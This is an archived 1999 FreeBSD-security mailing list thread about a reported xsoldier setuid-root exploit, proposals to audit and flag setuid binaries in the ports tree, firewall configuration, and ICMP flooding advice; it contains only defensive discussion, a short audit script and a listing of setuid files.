vulnerable to this? Regards. Fernando P. Schapachnik Administración de la red VIA NET.WORKS ARGENTINA S.A. fernando@via-net-works.net.ar (54-11) 4323-3333 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 6:17:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 3223514DBD for ; Thu, 16 Dec 1999 06:17:50 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id JAA26876; Thu, 16 Dec 1999 09:18:00 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Thu, 16 Dec 1999 09:18:00 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Warner Losh Cc: Chris England , freebsd-security@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) In-Reply-To: <199912160615.XAA69151@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 15 Dec 1999, Warner Losh wrote: > In message Chris England writes: > : I personally have not tested this. I'm not too big on games, but I would > : recommend anyone who has this game installed suid-root to test the snippet > : code against it and post the results to this list. > > The bugtraq guys forwarded the report to SO before they sent it to > bugtraq. We had it fixed within a couple of hours (and it would have > been faster if we weren't in ports freeze). So, I'm sorry, could you be specific here: was this problem reported to security-officer@freebsd.org, or reported via a send-pr, or not reported to us? Would it be feasible for someone to go disable setuid bits in all the games/ tree? :-) Why was xsoldier setuid? Thanks, Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 6:35:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail02.rapidsite.net (mail02.rapidsite.net [207.158.192.68]) by hub.freebsd.org (Postfix) with SMTP id 8304E14E7B for ; Thu, 16 Dec 1999 06:35:08 -0800 (PST) (envelope-from usebsd@free.fr) Received: from www.nettoll.com (209.130.51.127) by mail02.rapidsite.net (RS ver 1.0.53) with SMTP id 17073; Thu, 16 Dec 1999 09:35:00 -0500 (EST) From: "BSDman" To: "retal" , Subject: RE: Attacked By ICMP Packets Date: Thu, 16 Dec 1999 15:40:02 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal X-Loop-Detect: 1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I'm getting icmped and smurfed twice a week and when it does happen > My LAN is dead ... , i ran a firewall but still it doesnt help... > any suggestions? what firewall are you running? on top of which OS? why is your LAN dead? do you allow inbound icmp packets to pass accross your firewall? generally, you should only allow icmp packets to the firewall (unless you have public addresses in your LAN and you do not NAT them at the firewall). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 6:35:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail02.rapidsite.net (mail02.rapidsite.net [207.158.192.68]) by hub.freebsd.org (Postfix) with SMTP id 98D0214F03 for ; Thu, 16 Dec 1999 06:35:10 -0800 (PST) (envelope-from usebsd@free.fr) Received: from www.nettoll.com (209.130.51.127) by mail02.rapidsite.net (RS ver 1.0.53) with SMTP id 07073; Thu, 16 Dec 1999 09:34:57 -0500 (EST) From: "BSDman" To: "Brendan Conoboy" , Subject: RE: rc.firewall, ipf integration Date: Thu, 16 Dec 1999 15:39:58 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <199912102133.OAA17684@inago.swcp.com> X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal X-Loop-Detect: 1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brendan Conoboy wrote: > ... Part of the reason > for this seems to be a lack of documentation, thus I embarked on > writing the ipf howto. The howto is coming along nicely, but freebsd's > support for ipf doesn't seem to have come along much at all. great! wouldn't this be a good chapter in the handbook? > 2) rc.firewall is being taken seriously as an effective firewall: > > As a learning aid, rc.firewall isn't bad, but it's letting things > in by default that it really shouldn't. I know people want to be > able to turn on a service and have it go, and that's why at present > rc.firewall lets in port 25, 53, 80, 123, but should it really be > doing that if those services aren't running? Shouldn't ipf support > be in rc.firewall too? > 3) rc.firewall doesn't get its configuration from rc.conf: > > The beginning of each set of rules in rc.firewall requires > the setup of what interface, network, netmask, and IP address, > then goes on to assume what ports need to be blocked and passed. > I know that a fine grain firewall requires all that information > and it can't just be guessed at what interface to apply a rule > to, but we could certainly change rc.firewall to only open port > 25/tcp when sendmail_enable is YES and sendmail_flags contains > -q[0-9]+[mh] (probably wrong, but you get the idea). > > The bottom line is, I'd like to see rc.firewall be more useful out > of the box to ipfw and ipf users alike. Whether that means rc.firewall > includes complex logic based on rc.conf, or rc.conf gets a new line > like: > > firewall_allowin="tcp/25/tun0,udp/53,tcp/53,tcp/80" > > or both, it can definitely be better than it is. > You cannot decide to allow smtp connections based on sendmail_enable. here are some cases where this variable does not help: - assume you run sendmail on an internal host (which may have a public address). then you'll allow smtp connections to that host though sendmail is not running on the firewall. - assume you don't wanna run sendmail, but you're using some other program (qmail or a proxy or anything that can hanle smtp). Then you'd like to allow smtp connections. Th ething is that the rc* variables such as sendmail_enable help decide whether a program is to be run at startup or not; and this is a domain which is completely independent of any firewall questions. so it's good to keep different things different. The rc* files (and other config/script files) concern the system, while ipf/firewalling concern the control of traffic between two networks separated by the host in question. while using the rc* variables may seem to ease admin/config of the system, it does not as it would mix things that should not, and also, the "rc grammar" is too much "basic". My suggestion is that the admin should decide to either allow everything or deny everything by default; and then add explicit rules by editing rc.firewall. But you're right, the rc.firwall is not easy for "everybody" (nor are mkfilter things and the like). a gui to handle itshould be a nice thing (at least, a console-based one). mouss Free your Net with BSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 6:54: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: from monterosa.urbanet.ch (monterosa.urbanet.ch [195.202.193.104]) by hub.freebsd.org (Postfix) with SMTP id 2048C14E5F for ; Thu, 16 Dec 1999 06:53:58 -0800 (PST) (envelope-from jma@urbanet.ch) Received: (qmail 25772 invoked from network); 16 Dec 1999 14:53:52 -0000 Received: from unknown (HELO sicel-home-2-13) (194.235.55.141) by monterosa.urbanet.ch with SMTP; 16 Dec 1999 14:53:52 -0000 Message-Id: <3.0.6.32.19991216155712.007ae210@mail.urbanet.ch> X-Sender: urba0838@mail.urbanet.ch X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 16 Dec 1999 15:57:12 +0100 To: FreeBSD-security@FreeBSD.org From: Julien Mabillard Subject: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 8:13: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id E084B153EF for ; Thu, 16 Dec 1999 08:13:04 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id JAA81816; Thu, 16 Dec 1999 09:13:03 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id JAA71988; Thu, 16 Dec 1999 09:12:59 -0700 (MST) Message-Id: <199912161612.JAA71988@harmony.village.org> To: Robert Watson Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) Cc: Chris England , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Thu, 16 Dec 1999 09:18:00 EST." References: Date: Thu, 16 Dec 1999 09:12:59 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message Robert Watson writes: : So, I'm sorry, could you be specific here: was this problem reported to : security-officer@freebsd.org, or reported via a send-pr, or not reported : to us? The problem was reported to so twice. Once about a week ago, and then again just before the posting to bugtraq. The first post hit while everybody was swamped, so nothing happened. The second post was to SO just before it hit bugtraq from the bugtraq moderator and I just at that moment happened to have a free 10 minutes to look at it. : Would it be feasible for someone to go disable setuid bits in all the : games/ tree? :-) Why was xsoldier setuid? No clue why it was suid. Likely a silly high score file. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 10:27:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from anarcat.dyndns.org (phobos.IRO.UMontreal.CA [132.204.20.20]) by hub.freebsd.org (Postfix) with ESMTP id 9DE4115090 for ; Thu, 16 Dec 1999 10:27:06 -0800 (PST) (envelope-from spidey@anarcat.dyndns.org) Received: by anarcat.dyndns.org (Postfix, from userid 1000) id 33DAB1B71; Thu, 16 Dec 1999 13:27:16 -0500 (EST) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14425.12035.757889.422296@anarcat.dyndns.org> Date: Thu, 16 Dec 1999 13:27:15 -0500 (EST) To: Robert Watson Cc: Warner Losh , Chris England , freebsd-security@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) References: <199912160615.XAA69151@harmony.village.org> X-Mailer: VM 6.72 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Reply-To: Spidey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org xsoldier was (and still is, to my knowledge) setuid root for high score thingies... This should really be suid games, at *least*. The patch fixes the exploit, not the suid bit. The AnarCat --- Big Brother told Robert Watson to write, at 09:18 of December 16: > On Wed, 15 Dec 1999, Warner Losh wrote: > > > In message Chris England writes: > > : I personally have not tested this. I'm not too big on games, but I would > > : recommend anyone who has this game installed suid-root to test the snippet > > : code against it and post the results to this list. > > > > The bugtraq guys forwarded the report to SO before they sent it to > > bugtraq. We had it fixed within a couple of hours (and it would have > > been faster if we weren't in ports freeze). > > So, I'm sorry, could you be specific here: was this problem reported to > security-officer@freebsd.org, or reported via a send-pr, or not reported > to us? > > Would it be feasible for someone to go disable setuid bits in all the > games/ tree? :-) Why was xsoldier setuid? > > Thanks, > > Robert N M Watson > > robert@fledge.watson.org http://www.watson.org/~robert/ > PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 > TIS Labs at Network Associates, Safeport Network Services > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 10:28:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1E67415633 for ; Thu, 16 Dec 1999 10:28:25 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id LAA82380; Thu, 16 Dec 1999 11:28:22 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA72864; Thu, 16 Dec 1999 11:28:21 -0700 (MST) Message-Id: <199912161828.LAA72864@harmony.village.org> To: Spidey Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) Cc: Robert Watson , Chris England , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Thu, 16 Dec 1999 13:27:15 EST." <14425.12035.757889.422296@anarcat.dyndns.org> References: <14425.12035.757889.422296@anarcat.dyndns.org> <199912160615.XAA69151@harmony.village.org> Date: Thu, 16 Dec 1999 11:28:21 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <14425.12035.757889.422296@anarcat.dyndns.org> Spidey writes: : The patch fixes the exploit, not the suid bit. Yes. I'm starting to think that a blanket policy of not setuid root games might not be a bad idea. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 10:37: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from anarcat.dyndns.org (phobos.IRO.UMontreal.CA [132.204.20.20]) by hub.freebsd.org (Postfix) with ESMTP id 92A5B1558E for ; Thu, 16 Dec 1999 10:37:06 -0800 (PST) (envelope-from spidey@anarcat.dyndns.org) Received: by anarcat.dyndns.org (Postfix, from userid 1000) id 259451B71; Thu, 16 Dec 1999 13:37:18 -0500 (EST) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <14425.12637.308602.637788@anarcat.dyndns.org> Date: Thu, 16 Dec 1999 13:37:17 -0500 (EST) To: Warner Losh Cc: Robert Watson , Chris England , freebsd-security@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) References: <14425.12035.757889.422296@anarcat.dyndns.org> <199912160615.XAA69151@harmony.village.org> <199912161828.LAA72864@harmony.village.org> X-Mailer: VM 6.72 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Reply-To: Spidey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Yes. Since I've been looking at setuid's on FBSD, my primary concern's been with the ports. I wished there could be some way to have a variable in the Makefiles that say "NOSETUID=3DYES". :)) We should make a a definite list of all the setuid's in the whole port tree. Maybe the port maintainers can give a hand? Darn.. d=E9j=E0 vu...=20 --- Big Brother told Warner Losh to write, at 11:28 of December 16: > In message <14425.12035.757889.422296@anarcat.dyndns.org> Spidey writ= es: > : The patch fixes the exploit, not the suid bit. >=20 > Yes. I'm starting to think that a blanket policy of not setuid root > games might not be a bad idea. >=20 > Warner >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message --=20 Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 10:43:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 10F5614DAE for ; Thu, 16 Dec 1999 10:43:45 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id LAA82454; Thu, 16 Dec 1999 11:43:43 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA73003; Thu, 16 Dec 1999 11:43:43 -0700 (MST) Message-Id: <199912161843.LAA73003@harmony.village.org> To: Spidey Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) Cc: Robert Watson , Chris England , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Thu, 16 Dec 1999 13:37:17 EST." <14425.12637.308602.637788@anarcat.dyndns.org> References: <14425.12637.308602.637788@anarcat.dyndns.org> <14425.12035.757889.422296@anarcat.dyndns.org> <199912160615.XAA69151@harmony.village.org> <199912161828.LAA72864@harmony.village.org> Date: Thu, 16 Dec 1999 11:43:43 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <14425.12637.308602.637788@anarcat.dyndns.org> Spidey writes: : Yes. Since I've been looking at setuid's on FBSD, my primary concern's : been with the ports. I wished there could be some way to have a : variable in the Makefiles that say "NOSETUID=YES". :)) I like this, at least for PORTS. Better still would be to go through the ports and figure out if there is a lesser priv that could be granted. Right now the in tree games are setgid games, iirc, just for the high score stuff. Maybe it would be a good idea to continue this with the ports. You'd have to include a high score file in the package to make sure that normal users can't access them. : We should make a a definite list of all the setuid's in the whole port : tree. Maybe the port maintainers can give a hand? That would be useful. The ports are the least audited part of the tree. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 10:56:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id E562714E99 for ; Thu, 16 Dec 1999 10:56:24 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id NAA28026; Thu, 16 Dec 1999 13:56:26 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Thu, 16 Dec 1999 13:56:26 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Spidey Cc: Warner Losh , Chris England , freebsd-security@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) In-Reply-To: <14425.12637.308602.637788@anarcat.dyndns.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 16 Dec 1999, Spidey wrote: > Yes. Since I've been looking at setuid's on FBSD, my primary concern's > been with the ports. I wished there could be some way to have a > variable in the Makefiles that say "NOSETUID=3DYES". :)) >=20 > We should make a a definite list of all the setuid's in the whole port > tree. Maybe the port maintainers can give a hand? >=20 > Darn.. d=E9j=E0 vu...=20 Yup, it's d=E9j=E0 vu all over again. If you want a heavy-handed security approach, here's how you do it. Define two new Makefile ports variables: HAS_MISC_SET_ID=3D {yes,no} HAS_ROOT_SETUID=3D {yes,no} Starting today, warn all ports maintainers that their ports must (ideally correctly) define these variables for all of their ports. In two weeks, any port that doesn't define both variables is marked as broken. After one week, we introduce a check in the package building procedure that checks for any setuid or setgid binaries in the installed version. If the variable value reported is wrong, the port is marked as broken. We then have an effective and mandated list of ports making use of set?id binaries. Each one of these ports undergoes a security view by the auditing team--not to fix bugs, just to identify whether the source code is prone to bugs (extensive use of string functions in unsafe ways, etc) -- a twenty minute thing. If it's found to be unsafe, the port is marked as unsafe, meaning that packages are not autobuilt for it, and that a user attempting to install the port is *loudly* warned that the code is unsafe, and they must confirm the install by using make unsafe-install. That's heavy-handed security for you: mandate identification of problems and correctness. This doesn't address daemons (imapd, etc) that also run privileged, but is a good first step. Robert N M Watson=20 robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 11: 4:48 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id BAE651566C for ; Thu, 16 Dec 1999 11:04:40 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA82703; Thu, 16 Dec 1999 12:04:39 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA73160; Thu, 16 Dec 1999 12:04:38 -0700 (MST) Message-Id: <199912161904.MAA73160@harmony.village.org> To: Robert Watson Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) Cc: Spidey , Chris England , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Thu, 16 Dec 1999 13:56:26 EST." References: Date: Thu, 16 Dec 1999 12:04:38 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message Robert Watson writes: : That's heavy-handed security for you: mandate identification of problems : and correctness. Seems a little harsh, but most of this could be automated... #!/bin/csh cd /cdrom/packages/All foreach i (*.tgz) tar tvfz $i | egrep '^-..s' end I'm running this now, but my 1x cdrom is kinda slow (or maybe it is a 2x, i forget). Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 11:18:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from anarcat.dyndns.org (phobos.IRO.UMontreal.CA [132.204.20.20]) by hub.freebsd.org (Postfix) with ESMTP id C3E041513C for ; Thu, 16 Dec 1999 11:18:06 -0800 (PST) (envelope-from spidey@anarcat.dyndns.org) Received: by anarcat.dyndns.org (Postfix, from userid 1000) id C2D131B71; Thu, 16 Dec 1999 14:18:21 -0500 (EST) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <14425.15098.737556.573749@anarcat.dyndns.org> Date: Thu, 16 Dec 1999 14:18:18 -0500 (EST) To: Robert Watson Cc: Warner Losh , Chris England , freebsd-security@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) References: <14425.12637.308602.637788@anarcat.dyndns.org> X-Mailer: VM 6.72 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Reply-To: Spidey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I really think that this would be a _great_ improvement. I would be ready to donate time to this. :)) Should I start patching? :) --- Big Brother told Robert Watson to write, at 13:56 of December 16: > On Thu, 16 Dec 1999, Spidey wrote: >=20 > > Yes. Since I've been looking at setuid's on FBSD, my primary concer= n's > > been with the ports. I wished there could be some way to have a > > variable in the Makefiles that say "NOSETUID=3DYES". :)) > >=20 > > We should make a a definite list of all the setuid's in the whole p= ort > > tree. Maybe the port maintainers can give a hand? > >=20 > > Darn.. d=E9j=E0 vu...=20 >=20 > Yup, it's d=E9j=E0 vu all over again. If you want a heavy-handed sec= urity > approach, here's how you do it. Define two new Makefile ports variab= les: >=20 > HAS_MISC_SET_ID=3D {yes,no} > HAS_ROOT_SETUID=3D {yes,no} >=20 > Starting today, warn all ports maintainers that their ports must (ide= ally > correctly) define these variables for all of their ports. In two wee= ks, > any port that doesn't define both variables is marked as broken. Aft= er > one week, we introduce a check in the package building procedure that= > checks for any setuid or setgid binaries in the installed version. I= f the > variable value reported is wrong, the port is marked as broken. >=20 > We then have an effective and mandated list of ports making use of se= t?id > binaries. Each one of these ports undergoes a security view by the > auditing team--not to fix bugs, just to identify whether the source c= ode > is prone to bugs (extensive use of string functions in unsafe ways, e= tc) > -- a twenty minute thing. If it's found to be unsafe, the port is ma= rked > as unsafe, meaning that packages are not autobuilt for it, and that a= user > attempting to install the port is *loudly* warned that the code is un= safe, > and they must confirm the install by using make unsafe-install. >=20 > That's heavy-handed security for you: mandate identification of probl= ems > and correctness. >=20 > This doesn't address daemons (imapd, etc) that also run privileged, b= ut is > a good first step. >=20 > Robert N M Watson=20 >=20 > robert@fledge.watson.org http://www.watson.org/~robert/ > PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1= > TIS Labs at Network Associates, Safeport Network Services >=20 >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message --=20 Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 11:32:26 1999 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id B5AFE14D66 for ; Thu, 16 Dec 1999 11:32:22 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by vinyl.sentex.ca (8.9.3/8.9.3) with SMTP id OAA07631 for ; Thu, 16 Dec 1999 14:32:17 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <3.0.5.32.19991216143031.0192ae30@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Thu, 16 Dec 1999 14:30:31 -0500 To: freebsd-security@FreeBSD.ORG From: Mike Tancsa Subject: setuid revisited (was Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) ) In-Reply-To: <14425.12637.308602.637788@anarcat.dyndns.org> References: <14425.12035.757889.422296@anarcat.dyndns.org> <199912160615.XAA69151@harmony.village.org> <199912161828.LAA72864@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:37 PM 12/16/99 -0500, Spidey wrote: >Yes. Since I've been looking at setuid's on FBSD, my primary concern's >been with the ports. I wished there could be some way to have a >variable in the Makefiles that say "NOSETUID=YES". :)) Even the main tree seems a big permissive for some applications (in my case, an ISP). There are a few things I disable each time I make world on my shell and web server. What would be the best way to automate this and give other people an easy way to disable unresitricted access easily to potentially dangerous programs ? e.g. looking through /var/log/setuid.today some of the files that look like a candidate for chmod o-x are -r-xr-sr-x 1 root kmem 100148 Dec 14 00:02:03 1999 /sbin/ccdconfig -r-xr-sr-x 2 root tty 221752 Dec 14 00:02:05 1999 /sbin/dump -r-xr-sr-x 2 root tty 221752 Dec 14 00:02:05 1999 /sbin/rdump -r-xr-sr-x 2 root tty 244920 Dec 14 00:02:20 1999 /sbin/restore -r-sr-xr-x 1 root wheel 153760 Dec 14 00:02:21 1999 /sbin/route -r-xr-sr-x 2 root tty 244920 Dec 14 00:02:20 1999 /sbin/rrestore -r-sr-xr-x 5 root wheel 290448 Dec 14 00:04:32 1999 /usr/bin/hoststat -r-sr-sr-x 1 root daemon 18064 Dec 14 00:04:12 1999 /usr/bin/lpq -r-sr-sr-x 1 root daemon 20864 Dec 14 00:04:12 1999 /usr/bin/lpr -r-sr-sr-x 1 root daemon 17624 Dec 14 00:04:13 1999 /usr/bin/lprm -r-s--x--x 1 root wheel 47448 Apr 26 00:34:25 1999 /usr/bin/sperl5.00502 -r-s--x--x 2 root wheel 47472 Dec 14 00:01:28 1999 /usr/bin/sperl5.00503 -r-s--x--x 2 root wheel 47472 Dec 14 00:01:28 1999 /usr/bin/suidperl -r-xr-sr-x 1 root kmem 52424 Dec 14 00:03:47 1999 /usr/bin/systat -r-xr-sr-x 1 root kmem 14536 Dec 14 00:03:54 1999 /usr/bin/vmstat -r-xr-sr-x 2 root kmem 10576 Dec 14 00:03:54 1999 /usr/bin/w -r-xr-sr-x 1 root tty 8108 Dec 14 00:03:54 1999 /usr/bin/wall -r-xr-sr-x 1 root games 6188 Dec 13 23:59:52 1999 /usr/games/dm -rwxr-sr-x 1 root kmem 88160 Mar 18 21:39:54 1999 /usr/local/sbin/lsof -r-xr-sr-x 1 root kmem 9472 Dec 14 00:04:09 1999 /usr/sbin/iostat -r-xr-sr-x 1 root daemon 23968 Dec 14 00:04:12 1999 /usr/sbin/lpc -r-sr-xr-x 1 root wheel 14528 Dec 14 00:04:15 1999 /usr/sbin/mrinfo -r-sr-xr-x 1 root wheel 27528 Dec 14 00:04:15 1999 /usr/sbin/mtrace -r-xr-sr-x 2 root kmem 13184 Dec 14 00:04:20 1999 /usr/sbin/pstat -r-sr-xr-x 5 root wheel 290448 Dec 14 00:04:32 1999 /usr/sbin/purgestat -r-sr-x--- 1 root network 9768 Dec 14 00:04:22 1999 /usr/sbin/sliplogin -r-xr-sr-x 2 root kmem 13184 Dec 14 00:04:20 1999 /usr/sbin/swapinfo -r-sr-xr-x 1 root wheel 13440 Dec 14 00:04:24 1999 /usr/sbin/timedc -r-xr-sr-x 1 root kmem 7036 Dec 14 00:04:25 1999 /usr/sbin/trpt Things like the printer control for example... If you dont have printing services, why bother with the control programs. Similarly, I dont think my users need access to vmstat or any of the backup programs, local or remote. If a program were to be created to track these files, and suggest to the end user a method to disabling +o access, what would be the best way to go about designing it ? Should it just read the contents of /var/log/setuid.today ? I like Robert's idea of the HAS_MISC_SET_ID= {yes,no} 